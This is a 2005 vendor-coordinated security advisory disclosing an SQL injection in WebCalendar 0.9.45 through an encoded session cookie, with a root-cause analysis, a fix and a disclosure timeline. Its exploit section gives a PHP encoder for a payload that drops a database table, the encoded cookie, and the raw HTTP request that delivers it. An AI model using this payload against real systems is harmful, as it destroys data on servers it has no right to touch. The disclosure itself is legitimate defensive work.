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________________________________________________________________________
Scovetta Labs Security Advisory
Title: WebCalendar: SQL Injection from encoded cookie
Status: Public
Release Date: 2005-02-16
________________________________________________________________________
Package: WebCalendar
Vendor: k5n.us - http://www.k5n.us/webcalendar.php
Priority: High
Vulnerability: SQL Injection
Affected Versions:
==================
0.9.45 is vulnerable.
Previous versions have not been tested.
Background: (official description)
===========
WebCalendar is a PHP-based calendar application that can be configured
as a single-user calendar, a multi-user calendar for groups of users,
or as an event calendar viewable by visitors. MySQL, PostgreSQL,
Oracle, DB2, Interbase, MS SQL Server, or ODBC is required.
WebCalendar can be downloaded from [1].
Description:
============
WebCalendar is vulnerable to SQL Injection attacks launched through
an encoded cookie that is inserted into a request. Using a locally
installed version, and an MSSQL back-end database (ODBC), we were
able to drop an arbitrary table from the database by launching an
attack as a non-authenticated user.
Analysis:
=========
The user_valid_crypt function (includes/user.php) fails to validate
that the login name consists of legal characters. This function is
called from a validation routine (includes/validate.php), with
data derived from the cookie. The cookie is encoded (not encrypted)
and consists of data in the following format:
[login]|[salt][crypt(password, salt)]
When the cookie is decoded, the login is placed into a SQL query and
executed. Based on the data returned, the user is either authenticated
or otherwise the cookie is cleared and the user is directed to login
again.
The vulnerability is exacerbated when the underlying database allows
for multiple SQL queries to be executed together, as in:
select 1; select 2; select 3;
Exploit:
========
<?php
include_once 'includes/init.php';
echo encode_string("'; drop table foo; select 'a|zzabcdefg");
?>
output:
7c8c3a738e858f4199b6b386743c7c8e906075c47f7b817993414cb6cd \
94897d7882858abbb8
attack payload:
telnet servername
GET /login.php HTTP/1.1
Cookie: webcalendar_session=7c8c3a738e858f4199b6b386743c7c \
8e906075c47f7b817993414cb6cd94897d7882858abbb8
Work-around:
============
You can mitigate this by using the following diff patch:
39a40
> $login = addslashes($login);
The vendor has released version 0.9.5 which includes a fix for
this issue. All users are encouraged to upgrade to the latest
version of WebCalendar.
Vendor Response:
================
2005-01-31 - Vulnerability discovered.
2005-02-01 - Vendor contacted.
2005-02-01 - Response received from vendor.
2005-02-09 - Version 1.0RC2 released on vendor site[2].
2005-02-16 - Advisory released.
Revision History
================
2005-02-01: Initial Draft
2005-02-14: Public Release [0]
Credits:
========
Michael Scovetta of Scovetta Labs discovered this vulnerability.
References:
==========
[0] http://www.scovettalabs.com/advisory/SCL-2005.001.txt
[1] http://www.k5n.us/webcalendar.php
[2] http://www.k5n.us/files/WebCalendar-1.0RC2.zip
Disclaimer
==========
The content of this report is purely informational and meant only
for the purpose of education and protection. Scovetta Labs and
Michael Scovetta shall in no event be liable for any damage
whatsoever, direct or implied, arising from use or spread of this
information. All identifiers (hostnames, IP addresses, company names,
individual names etc.) used in examples and demonstrations are used
only for explanatory purposes and have no connection with any real
host, company or individual. In no event should it be assumed that
use of these names means specific hosts, companies or individuals
are vulnerable to any attacks nor does it mean that they consent to
being used in any vulnerability tests. The use of information in
this report is entirely at user's risk.
Copyright
=========
(c) 2005 Michael Scovetta. Forwarding and publishing of this document
is permitted providing the content between "[BEGIN-SCL-REPORT]" and
"[END-SCL-REPORT]" marks remains unchanged.
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